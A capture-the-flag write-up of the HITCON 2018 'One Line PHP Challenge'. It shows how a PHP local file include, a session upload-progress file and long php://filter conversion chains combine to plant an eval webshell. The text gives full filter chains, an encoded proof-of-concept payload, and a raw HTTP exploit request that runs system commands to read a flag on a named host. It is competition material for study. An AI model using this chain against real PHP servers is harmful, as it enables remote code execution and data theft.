## hitcon2018|One Line PHP Challenge

en:

https://hackmd.io/s/B1A2JIjjm

cn:

https://hackmd.io/s/SkxOwAqiQ

## One Line PHP Challenge

### New Way (Changed on 2018.12.03)

https://hackmd.io/s/rJlfZva0m

### Main idea

Because of allow_url_include=0, we can't remotely include files, so the problem solving method of the topic is obvious: Using a local file including to construct a webshell or just including flag file

### First attempt

At first, 🍊 did not give the environmental information. I tried a bug that Wang Yihang discovered last year, it causes PHP >=7.0 a segmentfault.

https://www.jianshu.com/p/dfd049924258


The poc is

php://filter/string.strip_tags/resource=xxx


PS: It is caused by a NULL pointer

The latest version of the local environment ubuntu16+php7.1(apt-get) is successful pwned, because the temporary files in tmp are not recycled, so you can use local file including to get shell.

However, the remote server does not always have an exception. Later, the author suggested that the environment of the topic was ubuntu18+php7.2. I opened a cloud host in the corresponding environment and found that this method is unreasonable. There are two reasons:

• PHP7.2 fixed the bug caused by the null pointer
• The system version after ubuntu17 uses systemd to host apache and php-fpm, and the tmp directory is separated.

Later, I tried some other PHP native wrappers.But i didn't find a way to solve the problem. Finally, I notice the wrapper php:// 's filter.

The known part of the flag is the hitcon (6 bytes) at the beginning, and the required file starts with @<?php which is also 6 bytes.
I accidentally saw an article when I searched for related knowledge about local file including.

https://gynvael.coldwind.pl/?lang=en&id=671


The challenge using filter to encode the flag , so begining bytes are turned into a gif header, then the flag can be read properly.

Later I ruled out this method, because even if it is converted to @<?php, it will be included as PHP code, and the latter part of flag won't be obtained.

### Get flag

Later, when I detected any strange system files in ubuntu18+PHP7.2, I found that the PHP7.2 session file storage path is /var/lib/php/sessions . PHP downloaded trough apt-get is default set to open session.upload, so there is a problem-solving direction.

Here is an example.

https://xz.aliyun.com/t/2148#toc-2


However, there is still a problem to be solved. The progress file generated by session.upload starts with upload_progess_

So a solution is to use the above mentioned ideas: byte collision, but the complexity of collision 6 bytes is quite large and we should pay attention to the following bytes for avoiding PHP execution errors, the number of bytes required to collide is greater than 6 Bytes, obviously this solution is not working.

Here are some php:// filters which can make data loss

string.strip_tags
consumed
convert.base64-decode (inappropriate use)


So I thought we only need to collide the first byte to < (the beginning of the tag), then the controllable part closes it, then use strip_tags once, and then decode the remaining fully controllable content.

The range that can be decoded into < by base64 is PA-PP, and after rot13 encoding is CN-CC, so as long as the first two bytes are in any of the above ranges, it can be eventually decoded to <

The operations we can use are

Convert.iconv.* (conversion encoding)
Convert.base64-en(de)code
String.rot13


And the process must remain reversible, base64decode will lose information if the block is not full or a block has unsolvable characters, so we need to keep the total number of bytes unchanged, the initial data is in the form of block full, base64 operation (encode, decode) requires symmetry.

There are two particularly useful code conversions

convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.UCS-4LE.UCS-4BE


Because the data stored in the high and low bits is reversed, it can cause 2 bytes and 4 bytes of reverse operation.

The next step is to encode upload_progress_xx multiple times to construct a base64 string. If there are C or P in the first four bytes, and the range of the following bytes is within the range mentioned above, then we can use Two-byte, Four-byte reverse-order operation to promote them to the first byte and the second byte respectively

ABCA => ACBA => CAAB


Through constant experimentation, I get the following result

php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_aadddddd


Its corresponding reverse algorithm is

php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xxx


Then use reverse algorithm encoding >+(encoded controllable part), the controllable part is @<?php eval(xxx);?>//aaa...

The final encoding method I used here is convert.iconv.UTF8.CP1025

So the whole data is

'upload_progress_aa'+reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...'))


After challenge program processing

'<balabala...'+'>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')


After filter strip_tags

iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')


After convert.iconv.CP1025.UTF8

@<?php eval(xxx);?>//aaa...


The following is the process that is needed to construct POC.

php iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')

reverse_algorithm('>'+iconv('UTF8','CP1025','@<?php eval(xxx);?>//aaa...')


Poc:

data://,upload_progress_aaaaaaaaaaaaa%0AA%D0%B8X%C2%98L%D0%AD%C2%9B%C2%84z%D0%9F%C2%9A%09cNM%1B%D0%AD%D0%BA%D1%9F%D1%8C%23%D1%88%D0%B7kS%5BWG.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF%D0%A3%D1%98%0C%D1%96.%D0%AF


Here is the result of this poc.

var_dump(file(\$_GET['orange']));


The exploit (session.upload+lfi)(using burpsuite bruteforce module)

POST /?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_5uu8r952rejihbg033m5mckb17&1=var_dump(file_get_contents('/flag'));system('/read_flag'); HTTP/1.1
Host: 54.250.246.238
Proxy-Connection: keep-alive
Content-Length: 27912
Cache-Control: max-age=0
Origin: §null§
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9